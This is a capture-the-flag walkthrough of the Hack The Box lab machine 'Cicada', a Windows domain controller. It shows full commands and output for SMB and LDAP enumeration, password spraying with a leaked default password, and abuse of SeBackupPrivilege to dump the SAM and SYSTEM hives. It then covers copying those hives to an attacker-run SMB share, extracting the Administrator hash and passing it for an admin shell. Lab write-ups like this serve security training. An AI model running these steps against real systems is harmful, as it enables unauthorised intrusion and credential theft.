Cicada
Cicada
Recon
Port Discovery
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sudo nmap -PN -sC -sV -oN cicada 10.10.11.35
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 22:27 PKT
Nmap scan report for 10.10.11.35
Host is up (0.15s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-16 00:03:28Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-08-16T00:04:12
|_ start_date: N/A
|_clock-skew: 6h35m38s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.35 seconds
This is an AD box.
SMB Enumeration
Let’s try to enumerate for SMB shares:
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smbclient -L //10.10.11.35/ -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
DEV Disk
HR Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.35 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
smbmap -H 10.10.11.35 -u '%'
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[+] IP: 10.10.11.35:445 Name: 10.10.11.35 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
DEV NO ACCESS
HR READ ONLY
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
SYSVOL NO ACCESS Logon server share
[*] Closed 1 connections
We have read access on HR share. Let’s access the share and see what’s stored there:
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smbclient //10.10.11.35/HR/ -U ''
Password for [WORKGROUP\]:
smb: \> ls
. D 0 Thu Mar 14 17:29:09 2024
.. D 0 Thu Mar 14 17:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 22:31:48 2024
4168447 blocks of size 4096. 463482 blocks available
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (1.5 KiloBytes/sec) (average 1.5 KiloBytes/sec)
Foothold
We get creds from the file:
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Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
Username Enumeration through RID Cycling
Now we need to figure out the username. We will try to enumerate for users using netexec and RID Cycling:
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netexec smb CICADA-DC -u guest -p '' --rid-brute
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.10.11.35 445 CICADA-DC 498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 500: CICADA\Administrator (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 501: CICADA\Guest (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 502: CICADA\krbtgt (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 512: CICADA\Domain Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 513: CICADA\Domain Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 514: CICADA\Domain Guests (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 515: CICADA\Domain Computers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 516: CICADA\Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 517: CICADA\Cert Publishers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 518: CICADA\Schema Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 519: CICADA\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 520: CICADA\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 521: CICADA\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 525: CICADA\Protected Users (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 526: CICADA\Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 527: CICADA\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 553: CICADA\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1000: CICADA\CICADA-DC$ (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1101: CICADA\DnsAdmins (SidTypeAlias)
SMB 10.10.11.35 445 CICADA-DC 1102: CICADA\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1103: CICADA\Groups (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1104: CICADA\john.smoulder (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1105: CICADA\sarah.dantelia (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1106: CICADA\michael.wrightson (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1108: CICADA\david.orelious (SidTypeUser)
SMB 10.10.11.35 445 CICADA-DC 1109: CICADA\Dev Support (SidTypeGroup)
SMB 10.10.11.35 445 CICADA-DC 1601: CICADA\emily.oscars (SidTypeUser)
We have a bunch of valid usernames now we will try to password spray with the list of valid usernames.
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netexec smb CICADA-DC -u guest -p '' --rid-brute | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
Password Spraying
We have a valid credential:
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netexec smb CICADA-DC -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB 10.10.11.35 445 CICADA-DC [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
Let’s winrm.
WinRM error
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evil-winrm -i 10.10.11.35 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8'
zsh: /usr/local/bin/evil-winrm: bad interpreter: /usr/bin/ruby3.1: no such file or directory
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
Our current user can’t auth using winrm. Time for further enumeration.
LDAP Enumeration
Since we have valid creds we will move from SMB to LDAP. LDAP allows us to enumerate for all Domain Users.
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netexec ldap CICADA-DC -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
LDAP 10.10.11.35 389 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
LDAP 10.10.11.35 389 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
LDAP 10.10.11.35 389 CICADA-DC [*] Enumerated 8 domain users: cicada.htb
LDAP 10.10.11.35 389 CICADA-DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.10.11.35 389 CICADA-DC Administrator 2024-08-27 01:08:03 1 Built-in account for administering the computer/domain
LDAP 10.10.11.35 389 CICADA-DC Guest 2024-08-28 22:26:56 1 Built-in account for guest access to the computer/domain
LDAP 10.10.11.35 389 CICADA-DC krbtgt 2024-03-14 16:14:10 1 Key Distribution Center Service Account
LDAP 10.10.11.35 389 CICADA-DC john.smoulder 2024-03-14 17:17:29 1
LDAP 10.10.11.35 389 CICADA-DC sarah.dantelia 2024-03-14 17:17:29 1
LDAP 10.10.11.35 389 CICADA-DC michael.wrightson 2024-03-14 17:17:29 0
LDAP 10.10.11.35 389 CICADA-DC david.orelious 2024-03-14 17:17:29 1 Just in case I forget my password is aRt$Lp#7t*VQ!3
LDAP 10.10.11.35 389 CICADA-DC emily.oscars 2024-08-23 02:20:17 2
We have another set of creds:
david.orelious:aRt$Lp#7t*VQ!3
However, even david isn’t allowed to winrm:
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netexec winrm CICADA-DC -u david.orelious -p 'aRt$Lp#7t*VQ!3'
WINRM 10.10.11.35 5985 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.35 5985 CICADA-DC [-] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
DEV Share
We have read access on DEV share:
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netexec smb CICADA-DC -u david.orelious -p 'aRt$Lp#7t*VQ!3' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC [*] Enumerated shares
SMB 10.10.11.35 445 CICADA-DC Share Permissions Remark
SMB 10.10.11.35 445 CICADA-DC ----- ----------- ------
SMB 10.10.11.35 445 CICADA-DC ADMIN$ Remote Admin
SMB 10.10.11.35 445 CICADA-DC C$ Default share
SMB 10.10.11.35 445 CICADA-DC DEV READ
SMB 10.10.11.35 445 CICADA-DC HR READ
SMB 10.10.11.35 445 CICADA-DC IPC$ READ Remote IPC
SMB 10.10.11.35 445 CICADA-DC NETLOGON READ Logon server share
SMB 10.10.11.35 445 CICADA-DC SYSVOL READ Logon server share
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smbclient //10.10.11.35/DEV -U 'david.orelious'
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Mar 14 17:31:39 2024
.. D 0 Thu Mar 14 17:21:29 2024
Backup_script.ps1 A 601 Wed Aug 28 22:28:22 2024
4168447 blocks of size 4096. 445710 blocks available
Backup_script
We have another set of creds:
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cat Backup_script.ps1
$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"
$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
This user is also able to winrm.
Privilege Escalation
After analyzing bloodhound data:
- Emily is a member of backup operators group.
- DEV Support group is also a member of backup operators group.
- DEV Support has generic ALL on multiple users and groups:
Privilege
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whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeBackupPrivilege
Since emily is in backup operator and has SeBackupPrivilege we can abuse it to dump ntds.dit database.
SeBackupPrivilege allows our user to bypass Access Control List. We can retrieve the SAM (Security Account Manager) file that stores local user account information by abusing this privilege. Since the passwords in SAM hive are encrypted using the bootkey in SYSTEM hive, we will also retrieve that file.
Dumping SAM and SYSTEM hive
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*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\sam c:\Windows\Tasks\SAM
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\system c:\Windows\Tasks\SYSTEM
The operation completed successfully.
Then exfil the files, I did it by smb:
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impacket-smbserver SHARE ./smbshare -smb2support
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.35,63720)
[*] AUTHENTICATE_MESSAGE (\,CICADA-DC)
[*] User CICADA-DC\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:SHARE)
On Victim:
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*Evil-WinRM* PS C:\Windows\Tasks> copy SYSTEM \\10.10.16.30\SHARE\SYSTEM
*Evil-WinRM* PS C:\Windows\Tasks> copy SAM \\10.10.16.30\SHARE\SAM
We have administrator hash:
Retrieving Hashes
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impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...
Now we will pass the hash and access Administrator account:
Shell as admin
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evil-winrm -i 10.10.11.35 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341
zsh: /usr/local/bin/evil-winrm: bad interpreter: /usr/bin/ruby3.1: no such file or directory
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
This post is licensed under CC BY 4.0 by the author.